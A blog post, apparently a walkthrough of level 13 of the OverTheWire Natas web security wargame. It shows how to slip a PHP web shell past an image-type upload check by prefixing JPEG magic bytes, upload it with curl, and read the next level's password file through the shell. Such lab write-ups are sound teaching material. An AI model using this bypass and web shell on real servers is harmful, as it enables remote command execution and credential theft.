Server-side security war games: Part 13

This is level 13. Looks like they claim to only accept image files, in order to close the flaw we used previously. I bet we can get around that restriction just like we did when they disallowed certain characters in the search term. Let’s examine the code.

Here’s the new part of the code:

    if (! exif_imagetype($_FILES['uploadedfile']['tmp_name'])) {
        echo "File is not an image";
    }


Let’s look up the exif_imagetype function so we can figure out how to manipulate the return value:

exif_imagetype() reads the first bytes of an image and checks its signature.

Okay, so the first bytes of our payload now have to be the magic bytes to make this return true.

When a correct signature is found, the appropriate constant value will be returned otherwise the return value is FALSE.

So, we can pick any supported image type we want. Pick one from and use the magic numbers like so:

    perl -E 'my $magic_numbers = "\x{ff}\x{d8}\x{ff}\x{e0}"; say $magic_numbers . q{<? passthru($_GET["cmd"]); ?>};' > shell.php

Now if we upload this, the upload code will think it is a JPG image, but since it has a .php extension, Apache will execute it as PHP and we’ll be able to run our exploit as before.

curl -u natas13:password \
    -F MAX_FILE_SIZE=1000 \
    -F filename=pwnd.php \
    -F "uploadedfile=@shell.php" \
    http://natas13.natas.labs.overthewire.org/index.php
curl -u natas13:password \
    "http://natas13.natas.labs.overthewire.org/upload/dz31pf9ai5.php?cmd=cat%20/etc/natas_webpass/natas14"
����Lg96M10TdfaPyVBkJdjymbllQ5L6qdl1

What is that junk in the first 4 characters? Remember, PHP is not a programming language, it is a templating language, so Apache outputs the magic bytes we inserted, and then the output of the PHP code it executed. So, skip the first 4 bytes of the response, and take the remainder as your password for the next level.

Comments
Comment from KevinSMcArthur - July 2, 2013 at 1:31 pm

RT @mikedoherty_ca: Server-side security war games: Part 13: http://t.co/KRnoKEHsZY #infosec

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